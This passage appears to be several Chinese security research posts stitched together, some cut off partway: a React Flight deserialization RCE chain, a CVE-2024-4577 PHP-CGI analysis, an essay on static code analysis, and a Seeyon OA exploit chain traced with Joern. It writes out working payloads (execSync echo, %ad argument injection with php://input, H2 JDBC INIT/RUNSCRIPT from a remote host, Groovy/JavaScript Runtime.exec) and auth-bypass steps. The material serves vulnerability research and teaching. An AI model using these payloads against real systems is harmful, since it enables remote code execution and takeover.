Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

处理逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14

1、getChunk(0)
2、getOutlinedModel中分割Chunk0的then内容，$1:__proto__:then被处理为Chunk1，path内容为[__proto__, then]
3、触发getChunk(1)
4、在Chunk1中检测到$@0，于是获得Chunk0的实例，返回给Chunk1的value
5、回到第一次getOutlinedModel中，Chunk0的value最终为Chunk0.__proto__.then
6、回到最上层触发then，此时处理内容为"{\"then\":\"$B1337\"}"
7、检测到$B，此时
    prefix为"var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
    id为1337
    最终拼接获得prefix + id
8、触发_formData.get，参数为prefix + id
9、get对应的value是"$1:constructor:constructor"，$1对应getChunk1，也就是前面的Chunk0实例
10、由于Chunk本身也是一个Function，所以他的constructor.constructor也是Function
11、等于此时触发Function(prefix + id)，触发代码执行

这里也稍微看下exp的构造，其实主要是为了回显，exp如下

1
2

var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});

按照前面的利用链来说，如果我们直接使用childprocess执行命令，那么命令会执行，但Flight的后续逻辑会走不下去，程序就卡住了。

那我们就需要手动抛出一个错误来终止程序，而React相关的代码逻辑中，如果digest有内容，他就会返回到页面内，也就是说我们可以通过手动抛出错误并控制digest内容来获取命令执行的返回。

到这里利用闭环，不但可以实现命令执行，还可以获得回显。

关于补丁

• https://github.com/facebook/react/pull/35277

React关于漏洞的补丁很搞笑的是和其他的业务更新合并到了一起，这一点在github上有很多人吐槽，这也导致补丁内容非常乱，实际的漏洞修复在ReactFlightReplyServer.js的部分改动中。

主要的修复有这么几处

首先是声明了一个特殊的类型为Symbol的常量RESPONSE_SYMBOL作为response的key

后续所有关于response的引用都修改成了通过RESPONSE_SYMBOL来引用，而json_parse无法实现Symbol类型，也就无法影响reponse的内容。

还有一个是hasOwnProperty的检查，补丁中在包括getOutlinedModel在内的value处理中加入了hasOwnProperty，这样你就无法去获取原型链中未定义的属性。

其实还有一些别的改动影响到了原利用链，但就像前面说的补丁内容牵扯到的更新太多，补丁非常乱就不细扣了。

总结

作为2025年的收官漏洞，同时也是4年一次难得一见的通用组件通杀漏洞，能见证并分析这种漏洞有很多感受，感叹漏洞的影响力，感叹利用链的精巧，感叹漏洞公开者的魄力。

时间走到2026年，这些年探索的更多都是安全+，很少有能深入探究漏洞本身的时候，也希望面对充满未知的2026，能保留安全研究的初心。

• https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227

伴随着议题的发布，今天在DEVCORE的官方博客发布了一个漏洞通报，也就是存在于windows特殊场景下的PHP CGI远程代码执行漏洞

• https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/

接下来看看漏洞的详情

漏洞描述

CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的，相对来说PHP在这个漏洞里更像是一个受害者。

由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过，再加上一些特殊的PHP CGI环境配置导致了这个问题，最终导致漏洞利用的算是一些PHP的小技巧。

影响范围

这个漏洞理论上影响PHP的所有版本

• PHP 8.3 < 8.3.8
• PHP 8.2 < 8.2.20
• PHP 8.1 < 8.1.29

除此之外的其他PHP版本官方已经不再维护了，包括PHP8.0、PHP7、PHP5在内，但是理论上来说他们都受到这个影响。

漏洞利用条件

Windows系统内字符编码转换的Best-Fit特性

前面提到过，这个漏洞的利用前提是由于Windows系统内字符编码转换的Best-Fit特性，所以第一个前提条件就是

• 必须是Window环境

其次由于这个特性，windows必须使用以下其中之一的语言系统

• 繁体中文 (字码页 950)
• 简体中文 (字码页 936)
• 日文 (字码页 932)

而且除了这3个以外，其他的语言也不能完全排除影响，凡是存在该特性的的系统都受到影响。

那什么是Best-Fit呢？或者说，为什么是Best-Fit？

说白了其实就是windows对于不同编码字符集之间转化的一个特性，可能大家对于Best-Fit很陌生，如果换一个词叫做宽字节，我想大家就会很熟悉了，说白了就是一些特殊字符在特殊字符集下转化就会转成一个正常的字符

而这里用到的就是%ad

而这个正常的字符就是-，我们可以结合php的源码来看，为什么这个-很重要

https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798

在php的代码当中其实原本就过滤了-这个符号，在新的commit当中还加入了对0x80以上的所有字符的限制来修复这个问题。在代码的注释当中有这么一段话来解释这个问题

1
2
3
4
5
6
7

Something is wrong with the XAMPP installation :-(
Apache CGI will pass the query string to the command line if it doesn't contain a '='.
This can create an issue where a malicious request can pass command line arguments to
the executable. Ideally we skip argument parsing when we're in cgi or fastcgi mode,
but that breaks PHP scripts on Linux with a hashbang: `#!/php-cgi -d option=value`.
Therefore, this code only prevents passing arguments if the query string starts with a '-'.
Similarly, scripts spawned in subprocesses on Windows may have the same issue.

如果get发送的请求字符串中不包含”=”，那么Apache就会把请求传到命令行作为cgi的参数。但这会导致恶意请求就可以将命令行参数传递给php，如果直接处理传参，那么会影响到以独立脚本方式运行的PHP脚本。所以只有当开头是-的时候(跳过所有空白符号)才阻止传递参数。

而这个漏洞在2012年的时候就被曝光出来，就是CVE-2012-1823

https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html

当我们用%ad来代替-之后，参数传递没有被阻止，就构成了参数注入。

而PHP和Apache的环境就会更特殊一点儿，其实在2024年你很难找到类似的环境，但是很有趣的是，XAMPP For Windows的默认环境就受到这个漏洞的影响。

而相对更具体的受影响的场景有两个

以CGI模式运行的PHP环境

首先不得不说，这是一个非常非常少见的场景，在2024年你几乎没办法找到一个直接以CGI模式运行的PHP环境，而且也没人会去做这样的修改。

如果你想要改出类似的设定你需要加入以下的配置

1
2

AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"

或者类似于

1
2
3
4
5

<FilesMatch "\.php$">
    SetHandler application/x-httpd-php-cgi
</FilesMatch>

Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"

在XMAPP的默认配置当中，这部分代码也是被注释的，如果你想要测试这种利用需要在httpd-xampp.conf中注释解开下面这段代码

1
2
3
4
5
6
7
8
9

#
# PHP-CGI setup
#
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php-cgi
</FilesMatch>
<IfModule actions_module>
    Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
</IfModule>

上面这些配置处理的都是一个类似的场景，就是apache会把请求直接转发给php-cgi。

结合上面的特性，你可以通过传%ad来传入一个-，这样在-之后的部分就会成为php-cgi的参数，构成参数注入。

1

%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input

会变成

1

-d allow_url_include=on -d auto_prepend_file=php://input

构成参数注入导致最终的任意代码执行。

将PHP的执行程序暴露在外 - XAMPP默认配置

这个场景要特别一些，相比直接把PHP的二进制直接放在web目录下，可能更常见的还是xampp的默认配置。

在httpd-xampp.conf中就可以找到这一串代码

1
2
3
4
5
6
7
8
9

ScriptAlias /php-cgi/ "D:/xampp/php/"
<Directory "D:/xampp/php">
    AllowOverride None
    Options None
    Require all denied
    <Files "php-cgi.exe">
          Require all granted
    </Files>
</Directory>

上面的配置是什么意思呢？

其实就是访问/php-cgi/路径的时候，会映射D:/xampp/php/下的文件，而这个目录下正好是php的整个目录

但这又有什么用呢，毕竟都denied了，只有php-cgi.exe是granted的，我们把视角还是回到php-cgi上。

如果我们直接访问调用php-cgi.exe，会怎么样呢？

答案是会有安全警告

那我们顺着这个思路去看下代码

https://github.com/php/php-src/blob/51379d66ec8732e506c43f6c7f1befc500117ae8/sapi/cgi/cgi_main.c#L1912

我们会发现我们遇到了一个新的概念叫做force_redirect，这其实算是PHP的一个自我保护机制。在P牛的知识星球里就有提过这个问题。

https://wx.zsxq.com/dweb2/index/topic_detail/15411452114282

说白了就是，PHP增加了一个配置叫做cgi.force_redirect=1，开启了这个选项（默认开启）之后，只有经过重定向的规则请求才能执行，不能直接调用执行。那有什么办法绕过呢？

其实如果顺着逻辑到这里，就已经很清晰了，第一个办法也就是最直接的办法就是，既然前面已经实现了-d修改配置，那么你就正好-d再把cgi.force_redirect修改成0就行了，非常直白。

而第二个办法相对来说比较少见，我们继续回到源码当中可以发现，除了force_redirect的分支以外，其实如果能确保REDIRECT_STATUS或者HTTP_REDIRECT_STATUS存在值，也可以不进入到这个分支里。

当然一般来说这种变量是不可控的，但是HTTP开头的变量一般来自于请求的头，那么我们就可以在请求头中加入Redirect-status: 1来设置这个变量，同样可以绕过

在安全领域里，每个安全研究人员在研究的过程中，也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中自动化代码审计就是安全自动化绕不过去的坎。

而SAST作为自动化代码分析的一种，有着其特有的定位以及作用，这篇文章我们就来聊聊静态分析的一些发展历程和思路。

本篇文章其实在2年前曾经写过一次，在2年后的今天处于偶然的契机正好要写一篇相关的文章，所以重写了这部分内容，其中修正了不少在这期间内探索获取的新理念和思路，希望有价值。

静态代码分析工具

静态代码分析主要是通过分析目标代码，通过纯静态的手段进行分析处理，并挖掘相应的漏洞/Bug.

再过去的十几年里，静态代码分析工具经历了长期的发展与演变过程，下面我们就一起回顾一下（下面的每个时期主要代表的相对的发展期，并不是比较绝对的诞生前后）：

上古时期 - 关键字匹配

如果我问你“如果让你设计一个自动化代码审计工具，你会怎么设计？”，我相信，你一定会回答我，可以尝试通过匹配关键字。紧接着你也会迅速意识到通过关键字匹配的问题。

这里我们拿PHP做个简单的例子。

虽然我们匹配到了这个简单的漏洞，但是很快发现，事情并没有那么简单。

也许你说你可以通过简单的关键字重新匹配到这个问题

1

\beval\(\$

但是可惜的是，作为安全研究员，你永远没办法知道开发人员是怎么写代码的。于是选择用关键字匹配的你面临着两种选择：

• 高覆盖性 – 宁错杀不放过

这类工具最经典的就是Seay，通过简单的关键字来匹配经可能多的目标，之后使用者可以通过人工审计的方式进一步确认。

1

\beval\b\(

• 高可用性 – 宁放过不错杀

这类工具最经典的是Rips免费版

1

\beval\b\(\$_(GET|POST)

用更多的正则来约束，用更多的规则来覆盖多种情况。这也是早期静态自动化代码审计工具普遍的实现方法。

但问题显而易见，高覆盖性和高可用性是这种实现方法永远无法解决的硬伤，不但维护成本巨大，而且误报率和漏报率也是居高不下。所以被时代所淘汰也是历史的必然。

近代时期 - 基于AST的代码分析

有人忽略问题，也有人解决问题。关键字匹配最大的问题是在于你永远没办法保证开发人员的习惯，你也就没办法通过任何制式的匹配来确认漏洞，那么基于AST的代码分析方式就诞生了，开发人员是不同的，但编译器是相同的。

在分享这种原理之前，我们首先可以复习一下编译原理。拿PHP代码举例子：

随着PHP7的诞生，AST也作为PHP解释执行的中间层出现在了编译过程的一环。

通过词法分析和语法分析，我们可以将任意一份代码转化为AST语法树。PHP常见的语义分析库可以参考：

• https://github.com/nikic/PHP-Parser
• https://github.com/viraptor/phply

当我们得到了一份AST语法树之后，我们就解决了前面提到的关键字匹配最大的问题，至少我们现在对于不同的代码，都有了统一的AST语法树。如何对AST语法树做分析也就成了这类工具最大的问题。

在理解如何分析AST语法树之前，我们首先要明白infomation flow、source、sink三个概念，

• source： 我们可以简单的称之为输入，也就是infomation flow的起点
• sink： 我们可以称之为输出，也就是infomation flow的终点
• infomation flow，则是指数据流动的过程。

把这个概念放在PHP代码审计过程中，Source就是指用户可控的输入，比如$_GET、$_POST等，而Sink就是指我们要找到的敏感函数，比如echo、eval，如果某一个Source到Sink存在一个完整的流，那么我们就可以认为存在一个可控的漏洞，这也就是基于infomation flow的代码审计原理。

在明白了基础原理的基础上，我举几个简单的例子：

在上面的分析过程中，Sink就是eval函数，Source就是$_GET，通过回溯Sink的来源，我们成功找到了一条流向Source的infomation flow，也就成功发现了这个漏洞。

在分析infomation flow的过程中，明确作用域是基础中的基础.这也是分析infomation flow的关键，我们可以一起看看一段简单的代码

如果我们很简单的跟踪赋值关系去回溯，而没有考虑到函数定义的话，我们很容易将流定义为：

这样我们就错误的把这段代码定义成了存在漏洞，但很显然并不是，而正确的分析流程应该是这样的:

在这段代码中，从主语法树的作用域跟到Get函数的作用域，如何维持作用域的变动，就是基于AST语法树分析的一大难点，当我们在代码中不可避免的使用递归来控制作用域时，在多层递归中的统一标准也就成了分析的基础核心问题。

事实上，即便你做好了这个最简单的基础核心问题，你也会遇到层出不穷的问题。这里我举两个简单的例子

(1) 新函数封装

这是一段很经典的代码，敏感函数被封装成了新的敏感函数，参数是被二次传递的。为了解决，这样infomation flow的方向从逆向->正向的问题。

(2) 多重调用链

这是一段有漏洞的JS代码，人工的话很容易看出来问题。但是如果通过自动化的方式回溯参数的话就会发现整个流程中涉及到了多种流向。

这里我用红色和黄色代表了流的两种流向。要解决这个问题只能通过针对类/字典变量的特殊回溯才能解决。

如果说，前面的两个问题是可以被解决的话，还有很多问题是很难被解决的，这里举一个简单的例子。

这是一个典型的全局过滤，人工审计可以很容易看出这里被过滤了。但是如果在自动化分析过程中，当回溯到Source为$_GET[‘a’]时，已经满足了从Source到sink的infomation flow，已经被识别为漏洞。一个典型的误报就出现了。

而基于AST的自动化代码审计工具也正是在与这样的问题做博弈，对于基于AST的代码分析来说，最大的挑战在于没人能保证自己完美的处理所有的AST结构，再加上基于单向流的分析方式，无法应对100%的场景。

近代时期 - 基于IR/CFG的代码分析

如果深度了解过基于AST的代码分析原理的话，不难发现许多弊端。首先AST是编译原理中IR/CFG的更上层，其内容更接近源代码。

也就是说，分析AST更接近分析代码，换句话就是说基于AST的分析得到的流，更接近脑子里对代码执行里的流程，忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件，这也是基于AST的代码分析的普遍解决方案，当然，从结果论上很难辨别忽略带来的后果。而基于IR/CFG这类带有控制流的解决方案，则是另一种解决思路。

首先我们得知道什么是IR/CFG。

• IR：是一种类似于汇编语言的线性代码，其中各个指令按照顺序执行。其中现在主流的IR是三地址码（四元组）
• CFG: （Control flow graph）控制流图，在程序中最简单的控制流单位是一个基本块，在CFG中，每一个节点代表一个基本块，每一个边代表一个可控的控制转移，整个CFG代表了整个代码的的控制流程图。

一般来说，我们需要遍历IR来生成CFG，当然，你也可以用AST来生成CFG，毕竟AST是比较高的层级。

而基于CFG的代码分析思路优势在于，对于一份代码来说，你首先有了一份控制流图（或者说是执行顺序），然后才到漏洞挖掘这一步。比起基于AST的代码分析来说，你只需要专注于从Source到Sink的过程即可。

但其实无论是基于哪种底层，后续的分析流程与AST其实别无太大的差别，挑战的核心仍然维持在如何控制流，维持作用域，处理程序逻辑的分支过程，确认Source与Sink。上文中提到的是静态分析当中比较常见的一种作用域数据流回溯分析的思路，其实正向的污点分析，亦或者后来被人提到比较多的指针分析，核心思路大同小异。

而代码分析的基础方面，既然存在基于AST的代码分析，又存在基于CFG的代码分析，自然也存在其他的种类。比如现在市场上主流的fortify，Checkmarx，Coverity包括最新的Rips都使用了自己构造的语言的某一个中间部分，比如fortify和Coverity就需要对源码编译的某一个中间语言进行分析，又比如源伞实现了多种语言生成统一的IR，Joern使用了基于AST生成的CPG图结构进行分析。

事实上，无论是基于某种基础结构的代码分析，技术手段本身只有适应场景的不同，对于技术选型这件事情本身来说更重要的是你想要构建一个什么样的代码分析工具。

未来 - 通用化代码分析框架

基于QL概念的框架 - CodeQL

QL指的是一种面向对象的查询语言，用于从关系数据库中查询数据的语言。我们常见的SQL就属于一种QL，一般用于查询存储在数据库中的数据。

而在代码分析领域，Semmle QL是最早诞生的QL语言，他最早被应用于LGTM，并被用于Github内置的安全扫描为大众免费提供。紧接着，CodeQL也被开发出来，作为稳定的代码分析框架在github社区化。

• https://securitylab.github.com/tools/codeql
• https://semmle.com/codeql

那么什么是QL呢？QL又和代码分析有什么关系呢？

首先我们回顾一下基于AST、CFG这类代码分析最大的特点是什么？无论是基于哪种中间件建立的代码分析流程，都离不开3个概念，流、Source、Sink，这类代码分析的原理无论是正向还是逆向，都是通过在Source和Sink中寻找一条流。而这条流的建立围绕的是代码执行的流程，就好像编译器编译运行一样，程序总是流式运行的。这种分析的方式就是数据流分析（Data Flow）。

而QL就是把这个流的每一个环节具象化，把每个节点的操作具像成状态的变化，并且储存到数据库中。

这样一来，通过构造QL语言，我们就能找到满足条件的节点，并构造成流。下面我举一个简单的例子来说：

1
2
3
4
5
6

<?php

$a = $_GET['a'];
$b = htmlspecialchars($a);

echo $b;

我们简单的把前面的流写成一个表达式

1

echo => $_GET.is_filterxss

这里is_filterxss被认为是输入$_GET的一个标记，在分析这类漏洞的时候，我们就可以直接用QL表达

1
2
3
4
5

select * where {
    Source : $_GET,
    Sink : echo,
    is_filterxss : False,
}

通过构造满足条件的语句，我们就可以找到这个漏洞（上面的代码仅为伪代码），从这样的一个例子我们不难发现，QL其实更接近一个概念，他鼓励将信息流具象化，这样我们就可以用更通用的方式去写规则筛选。

CodeQL类的工具(包括CheckMarx等等)其实就是类似的一个基础理念，通过封装底层的代码处理逻辑，并提供一个非常易用的上层平台给用户，用户可以不用了解复杂的编译原理就可以编写漏洞的规则。

但其实说到底这只是一个理念，并不是结果，以CodeQL为例子，其构建的一套语法规则并不能算是一套门槛很低的东西，反而其黑盒的底层阻止了安全研究人员进一步研究和使用CodeQL。

基于工具化的框架 - Joern

如果说CodeQL类的工具是探索做一个通用化的代码分析框架，来解决代码分析的场景。那Joern就走了另一条路，就是工具化。

Joern的底层原理是一套基于AST生成的通用CPG(Code Property Graph)图，在图的上层实现了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。

但我们这里想讨论的并不是Joern的原理，而是理念。Joern把自己定位成了安全研究员用于代码分析的一个工具，而不是执着于用一个按钮一个规则扫描漏洞，而是提供了人和代码的桥梁。

在Joern里，我用的比较多，也是比较常见的一个场景就是寻找某个方法的调用关系。在Joern shell当中，你可以用非常简单的方法获取某个函数的调用位置，已经调用了该函数的函数。

所以在Joern当中，你可以忽略数据流分析，而是用一些非常简单的交互式命令来辅助，在Joern你可以非常简单的获取“调用了A方法的路由入口”，而更实际的利用链完全可以有人来判定，省去为了上下文分析花去的力气。

当然，Joern在某些方面是成也工具化败也工具化，cpg本身强调调用关系和引用关系，Joern shell后端引用scala易用性有余实用性不足，你几乎很难在Joern的上层做数据流分析层面的分析。

后话

其实相较第一版本的内容来说，我没有对文章内容做太多的更改，因为对于静态分析的底层原理来说用什么技术已经没什么很大的意义了，说到底原理都是差不多的。

商业代码分析的软件包括Checkmarx、fortify等等，再到后来的CodeQL说到底其实都是技术长期积累的技术壁垒，很多问题也不是学术上的什么难点攻破。

而近几年越来越多的相关东西也如雨后春笋冒了出来，开源社区比较火的Joern、tabby、tai-e，商业公司比较火的蜚语的corax，梅子酒创业的寻臻科技，其实技术原理上的东西大同小异，说到底就是还没有足够好用的产品出来，大多代码分析的软件还停留在某个底层技术的应用上。

而代码分析工具本身的易用性和场景化遇到的问题在我看来问题更大，即便是商业化程度非常高的Checkmarx这种软件也没法非常简单直白的接入到devsecops流程当中，很多工具甚至都解决不了高误报率和扫描效率低的问题，更谈不上实用了。在我看来，一款实用的好的代码分析软件还有很长的路要走~

这篇文章的漏洞源于下面这篇文章，文章中提到该漏洞影响A8, A8+, A6等多个版本，但很多版本我都找不到对应的源码，光A8就有一万个版本，下面我们尽可能的复现漏洞和探索Joern的可能性

• https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA

漏洞原理

先花一点儿篇幅简单的描述一下漏洞的基础原理，其实漏洞分为好几个部分

• 致远oa 前台XXE漏洞
• 致远oa S1服务 后台jdbc注入
• H2 jdbc注入导致RCE
• 致远oa S1服务 后台用户密码重置导致的鉴权绕过

我们分开讨论这部分

致远oa前台xxe漏洞

首先我必须得说，这部分内容涉及到的代码我找了很多个版本的源码都没有找到，尝试搜索了一下原漏洞以及一些简单的分析文章其实大部分都没有提到这部分代码的来源。

我觉得最神奇的点在于，这个漏洞如果仅按照原文提及的部分，漏洞原理及其简单，而且是一个比较标准的xxe漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

private List<Element> getNodes(String xmlString, String xpath) {
    ArrayList tmpList = null;

    try {
        SAXReader saxReader = new SAXReader();
        Reader xml_sr = new StringReader(xmlString);
        saxReader.setEncoding("UTF-8");
        Document document = saxReader.read(xml_sr);
        if (document.getRootElement() == null) {
            throw new KgException(new KgCommonsError("XmlParser Object hasn't RootElement.", KgCommonsError.SYSTEM_ERROR.getCode()));
        } else {
            List<?> contexts = document.selectNodes(xpath);
            tmpList = new ArrayList();

            for(int i = 0; i < contexts.size(); ++i) {
                if (contexts.get(i) instanceof Element) {
                    tmpList.add((Element)contexts.get(i));
                }
            }

            return tmpList;
        }
    }

可控参数 xmlValue，直接解base64然后就进xxe造成漏洞。

按理说这么简单的漏洞，应该早就被爆出来滥用了，但我搜索了一下相应的内容，上一次致远oa爆出来xxe漏洞原理比这个复杂多了，而且还是组件漏洞。

由于实在找不到源码，所以我猜测这个漏洞可能有两个可能性

• 漏洞来自于某个部署时使用到的额外服务或者插件
• 这个xxe漏洞是个第三方组件问题，需要其他条件入口，原文不想提到这个入口所以没有写

不管咋说我的确是没有办法获得答案了，不过这不是这篇文章的重心，先往后看。

致远oa S1服务 后台jdbc注入

在原文中，这部分来自于agent.jar，简单来说就是一个开放到内网的服务，我查了一下应该是指这套S1服务。

在官网还可以查到这套系统，看上去应该是用于管理致远后台的平台，算是运维平台。这侧面也证明了这套系统是一套独立的系统。

在com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController可以找到对应的testDBConnect方法

可以关注到相比原文当中的截图，现在加入了对h2数据库连接的限制

1
2
3

params.put("dbUrl", dbUrl);
if (dbUrl.startsWith("jdbc:h2"))
  return JsonResult.success(StatusCodeEnum.FAILEDCODE.getKey(), ", null);

继续跟进到testDBConnect中

从这里可以找到可以根据dburl前缀自由连接远程jdbc的方法，并允许自定义链接驱动类

H2 jdbc注入导致RCE

这部分内容其实不算是这篇文章的重点致远oa的问题，一般来说到jdbc注入之后就是利用方式的问题了，但这里还是顺带提一下。

关于jdbc的注入后利用方式其实之前已经有过不少次相关的文章以及议题，下面这篇就是一篇总结的比较全的文章

• https://paper.seebug.org/1832/
• https://www.anquanke.com/post/id/203086

其实jdbc可控后续导致的二次利用方案相当复杂，由于这不是这篇文章的内容，所以我们直接跳到对应的位置来看看。

想要利用jdbc注入来调用H2进行进一步利用，其中有两个比较大的问题。

• 需要相应的配置参数才能命令执行
• 由于不支持多行语句，需要找到能在单行里执行命令的方法

H2的攻击利用的是Spring Boot H2 console的一个特性，通过控制h2数据库的连接url，我们可以迫使spring boot去加载远程的sql脚本并执行命令，类似下面这样的请求

1

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

而这样的请求需要如下的参数

1
2

spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true

我们简单的看下源码

在org.h2.engine.Engine#openSession中，发起连接是可以通过INIT关键字来影响初始化数据库连接的配置

当我们使用RUNSCRIPT关键字发起远程连接时，代码将会执行到org.h2.command.dml.RunScriptCommand#execute

这也就意味着我们可以通过RUNSCRIPT来执行恶意的SQL语句，但使用RUNSCRIPT意味着，你的客户端必须出网才有可能利用。

而我们之所以要使用RUNSCRIPT，本质是因为常见的恶意SQL执行命令需要两句，而session.prepareCommand并不支持执行多行语句

1
2

CREATE ALIAS RUNCMD AS $$<JAVA METHOD>$$;
CALL RUNCMD(command)

在Spring Boot H2 console的源码中，我们可以继续寻找问题的解决办法，在SQL语句当中的JAVA方法将会执行到org.h2.util.SourceCompiler,一共有三种编译器，分别是Java/Javascript/Groovy

如果满足source开头是//groovy或者是@groovy就会使用对应Groovy引擎。

利用@groovy.transform.ASTTEST就可以使用assert来执行命令

1
2
3
4
5
6

public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

除了Groovy以外还有JavaScript的利用方案

1
2
3
4
5
6

public static void main (String[] args) throws ClassNotFoundException, SQLException {
    String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
    String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
    Connection conn = DriverManager.getConnection(url);
    conn.close();
}

致远oa S1服务 后台用户密码重置导致的鉴权绕过

在前面找到对应的利用方案之后，当我们尝试去做利用的时候会发现其实后台有额外的权限验证。直接访问testDBConnenction，会报非法访问的错误。

这是因为没有传入对应的token，在com.seeyon.agent.common.utils.TokenUtils中可以找到对应的检查

这里的tokenMap可以在com.seeyon.agent.common.getway.GetWayController找到对应的写入位置

通过解密获得username、pwd、dogcode、versions，经过各种验证之后token会被存入全局变量

这个token会被存入最终的tokenMap当中，而到这里我们问题变成了如何模拟这个过程，在这个过程当中我们需要的信息有点儿多

• username，可以用默认的用户名seeyon
• pwd
• version
• aes的秘钥和iv

跟踪 AESUtil.Decrypt到定义的位置，可以发现秘钥和iv都是默认的，可以直接使用

在com.seeyon.agent.common.controller.ConfigController中可以找到一个方法modifyDefaultUserInfo

这个方法可以在没有任何限制的情况下修改默认用户seeyon的密码

最后剩下的一个信息则是version，这个后台的版本比较复杂，我们可以通过一个接口来获取

在com.seeyon.agent.common.controller.VersionController的getVersion方法里可以获取对应的版本号

到这里我们获取了模拟token的所有信息，就可以在后台进行任意操作了

For Joern

当问题回到源代码扫描上，我们也可以用类似的漏洞拆解来实现扫描

致远oa前台xxe漏洞

由于这个源码找不到，所以这里用一个类似场景写出来的语句来进行模拟挖掘和扫描。

1
2
3
4

def source = cpg.method("getParameter").callIn
def sink = cpg.call.filter(_.methodFullName.contains("java.io.StringReader.<init>"))

sink.reachableByFlows(source).p

我们可以通过连通初始化位置以及可控参数来判断是否存在路径，正常来说如果两个节点存在连通路径，那么就存在调用关系，但数据流的过程间分析需要更合理的判定方式，就比如这个漏洞。

SAXReader的XXE漏洞修复方案并不是在参数的过滤上，而是在于SAXReader对解析xml的配置

这就要求除了获得source到sink的连通性以及调用关系以外，还要对SAXReader实例化后的属性变化有所关注，在Joern上虽然可以强行做这样的判定，但却没有特别适配的方案，甚至需要通过正则匹配等方式来解决。

致远oa S1服务 后台jdbc注入

照理先引入S1的包，这个东西其实代码不是很大，但是不知道为什么解出来的包非常之大，可能有一些问题。

1
2

joern> importCode("S1.jar", "seeyons1")
val res36: io.shiftleft.codepropertygraph.Cpg = Cpg (Graph [959587 nodes])

先找到设置了注解的testDBConnect方法

1

cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).l

然后再找到设置jdbc连接的位置，并设置参数为3个string

1

cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String")).l

1
2
3
4

def sink = cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String"))
def source = cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).parameter

sink.reachableByFlows(source).p

存在连通性，表示包含注解的方法参数可以连通到sink点，存在问题。

H2 jdbc注入导致RCE

相比其他几个问题，这个jdbc的利用其实就不算源代码分析层面的部分了。

无论是通过H2的链接来配置参数还是通过特殊语句二次利用，其实本质上都是H2数据库的feature，这里我们就跳过源代码分析的部分继续看后面的部分

致远oa S1服务 后台用户密码重置导致的鉴权绕过

让我们把视角在转回S1上，其实问题很简单，由于后台主要检查token是否有效

所以我们可以尝试去寻找全局变量tokenMap初始化过的地方

1

cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).l

然后寻找对应调用的位置

1

cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

可以看到涉及到tokenMap的方法出了isChecktoken以外还有getToken

然后我们继续寻找调用了getToken的地方

1

cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).l

然后向上寻找对应的调用函数是什么

1

cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l

在这里我们找到了调用gettoken的位置，也正好对应写入token的位置。

而在后续的利用条件收集中，也可以利用joern来快速挖掘和发现。

• 寻找获取用户名和密码的方法

这个很简单，就像我们平时做代码审计的时候，会通过一些关键字来搜索关键代码一样，在joern中，你可以做类似的事情。我们可以搜索变量名为username的变量被调用的位置。

1

cpg.identifier("username")._astIn.dedup.l

当然这显得非常粗暴，数据量非常大，但我们可以做更多的限制，比如调用该变量的方法必须包含put

1

cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put")).dedup.l).l

我们可以直接向上找到对应的函数方法定义位置

1

cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.l).dedup.l

我们可以选择几个打开看看

当然我们发现不只是有名字为password的变量，还有名为password的常量

1
